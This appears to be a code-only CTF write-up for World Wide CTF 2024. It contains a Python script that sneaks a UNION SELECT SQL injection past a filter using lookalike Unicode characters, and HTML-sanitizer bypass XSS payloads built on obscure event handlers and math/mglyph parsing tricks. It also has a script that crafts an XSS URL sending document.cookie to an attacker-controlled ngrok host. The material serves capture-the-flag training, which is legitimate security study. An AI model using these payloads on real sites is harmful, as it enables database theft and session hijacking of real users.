World Wide CTF 2024 - writeup

import requests

URL = "https://emailsearch.wwctf.com/"

s = requests.session()

email = "' UNION SELECT flag FROM flagz--@wwctf.com"

email = email.replace("'", "’")
email = email.replace("-", "ー")
email = email.replace("=", "＝")
email = email.replace(" ", "/**/")
email = email.replace("(", "（")
email = email.replace(")", "）")
email = email.replace(",", "，")
email = email.replace(":", "：")
data = {
    "email": email
}
r = s.get(URL, params=data)
print(r.text)
print(r.url)

async function sanitizeHTML() {
    const inputHTML = document.getElementById('html-input').value;
    if (inputHTML.length <= 75) {
        try {
            const response = await fetch('/api/sanitize', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ html: inputHTML })
            });

            const data = await response.json();

            if (data.html) {
                document.getElementById('sanitized-output').innerHTML = data.html;
            } else {
                document.getElementById('sanitized-output').textContent = `Error: ${data.error}`;
            }
        } catch (err) {
            document.getElementById('sanitized-output').textContent = `Failed to sanitize HTML: ${err.message}`;
        }
    } else {
        document.getElementById('sanitized-output').innerHTML = "<h1>Too Long</h1>";
    }
}
/* snap */
window.onload = () => {
    const urlParams = new URLSearchParams(window.location.search);
    const base64HTML = urlParams.get('html');
    if (base64HTML) {
        const decodedHTML = decodeURIComponent(escape(atob(base64HTML)));
        document.getElementById('html-input').value = decodedHTML;
        sanitizeHTML();
    }
}

const sanitize = (html) => {
    const unsafe = cheerio.load(html);
    for (const tag of blacklist) {
        unsafe(tag, "body").remove();
    }
    unsafe('*').each((_, el) => {
        for (const attr of attrs) {
            unsafe(el).removeAttr(attr);
        }
    });
    return unsafe("body").html();

}
/* snap */
app.post('/api/sanitize', async (req, res) => {
    try {
        const { html } = req.body;
        if (html) {
            const sanitizedHTML = sanitize(html);
            res.json({ html: sanitizedHTML });
        } else {
            res.status(400).json({ error: 'No HTML provided' });
        }
    } catch (err) {
        console.log(err)
        res.status(500).json({ error: 'Something went wrong' });
    }
});

const blacklist = "a abbr acronym address applet area article aside audio b base bdi bdo big blink blockquote br button canvas caption center cite code col colgroup command content data datalist dd del details dfn dialog dir div dl dt element em embed fieldset figcaption figure font footer form frame frameset head header hgroup hr html iframe image img input ins kbd keygen label legend li link listing main map mark marquee menu menuitem meta meter multicol nav nextid nobr noembed noframes noscript object ol optgroup p output p param picture plaintext pre progress s samp script section select shadow slot small source spacer span strike strong sub summary sup svg table tbody td template textarea tfoot th thead time tr track tt u ul var video".split(" ")

const attrs = "onafterprint onafterscriptexecute onanimationcancel onanimationend onanimationiteration onanimationstart onauxclick onbeforecopy autofocus onbeforecut onbeforeinput onbeforeprint onbeforescriptexecute onbeforetoggle onbeforeunload onbegin onblur oncanplay oncanplaythrough onchange onclick onclose oncontextmenu oncopy oncuechange oncut ondblclick ondrag ondragend ondragenter ondragexit ondragleave ondragover ondragstart ondrop ondurationchange onend onended onerror onfocus onfocus onfocusin onfocusout onformdata onfullscreenchange onhashchange oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmessage onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onmousewheel onmozfullscreenchange onpagehide onpageshow onpaste onpause onplay onplaying onpointercancel onpointerdown onpointerenter onpointerleave onpointermove onpointerout onpointerover onpointerrawupdate onpointerup onpopstate onprogress onratechange onrepeat onreset onresize onscroll onscrollend onsearch onseeked onseeking onselect onselectionchange onselectstart onshow onsubmit onsuspend ontimeupdate ontoggle ontoggle(popover) ontouchend ontouchmove ontouchstart ontransitioncancel ontransitionend ontransitionrun ontransitionstart onunhandledrejection onunload onvolumechange onwebkitanimationend onwebkitanimationiteration onwebkitanimationstart onwebkitmouseforcechanged onwebkitmouseforcedown onwebkitmouseforceup onwebkitmouseforcewillbegin onwebkitplaybacktargetavailabilitychanged onwebkittransitionend onwebkitwillrevealbottom onwheel".split(" ")

"annotation-xml","basefont","bgsound","body","desc","foreignObject","h1","h2","h3","h4","h5","h6","i","malignmark","math","mglyph","mi","mo","mn","ms","mtext","option","rb","rp","rt","rtc","ruby","search","style","title","wbr","xmp"

"onappinstalled","onbeforeinstallprompt","onbeforexrselect","onabort","onbeforematch","oncancel","oncontentvisibilityautostatechange","oncontextlost","oncontextrestored","onemptied","onsecuritypolicyviolation","onslotchange","onstalled","onwaiting","ongotpointercapture","onlostpointercapture","onlanguagechange","onmessageerror","onoffline","ononline","onrejectionhandled","onstorage","ondevicemotion","ondeviceorientation","ondeviceorientationabsolute","onpageswap","onpagereveal","onscrollsnapchange","onscrollsnapchanging"

<x oncontentvisibilityautostatechange=alert(1) style=content-visibility:auto>

<h1 onscrollsnapchange=alert(1) style=overflow-y:hidden;scroll-snap-type:x><math style=scroll-snap-align:center>

<math><mi><table><mglyph><xmp><mi><iframe onload=alert(1)>

import hashlib
import time
from multiprocessing import Pool
import re
import requests
from base64 import b64encode


def find_nonce(args):
    message, nonce_start, nonce_end, prefix = args
    for nonce in range(nonce_start, nonce_end):
        combined = f'{message}{nonce}'.encode()
        hash_result = hashlib.sha256(combined).hexdigest()
        if hash_result.startswith(prefix):
            return nonce
    return None

def proof_of_work(message):
    prefix = '0'*6
    nonce = 0
    num_processes = 1
    chunk_size = 1000000
    start_time = time.time()
    
    with Pool(processes=num_processes) as pool:
        while True:
            tasks = [
                (message, nonce + i * chunk_size, nonce + (i + 1) * chunk_size, prefix)
                for i in range(num_processes)
            ]
            results = pool.map(find_nonce, tasks)
            
            for result in results:
                if result is not None:
                    end_time = time.time()
                    nonce = result
                    print(f'Time taken: {end_time - start_time} seconds')
                    return nonce

            nonce += num_processes * chunk_size

URL = "https://saas.wwctf.com"
URL = "http://localhost/"
EVIL = "https://tchenio.ngrok.io/"

s = requests.session()
r = s.get(URL + "api/report")
data = re.findall(r'data = "(.+)"', r.text)[0]
nonce = proof_of_work(data)

payload = f"document.location.assign('{EVIL}'+document.cookie)"
payload = f"eval(atob(/{b64encode(payload.encode()).decode()}/.toString().slice(1,-1)))"

url = f"https://saas.wwctf%2ecom/?x=*/{payload}//&html=PG1hdGg%2BPG1pPjx0YWJsZT48bWdseXBoPjxzdHlsZT48bWk%2BPGlmcmFtZSBvbmxvYWQ9J2V2YWwoIi8qIitsb2NhdGlvbiknPg%3D%3D"

# botの報告は多分ドメイン指定できる環境じゃないと動かない

# r = s.post(URL + "api/report", json={
#     "data": data,
#     "nonce": nonce,
#     "urlToVisit": url,
#     "secretKey": "secret"
# })

# print(r.text)
print(url)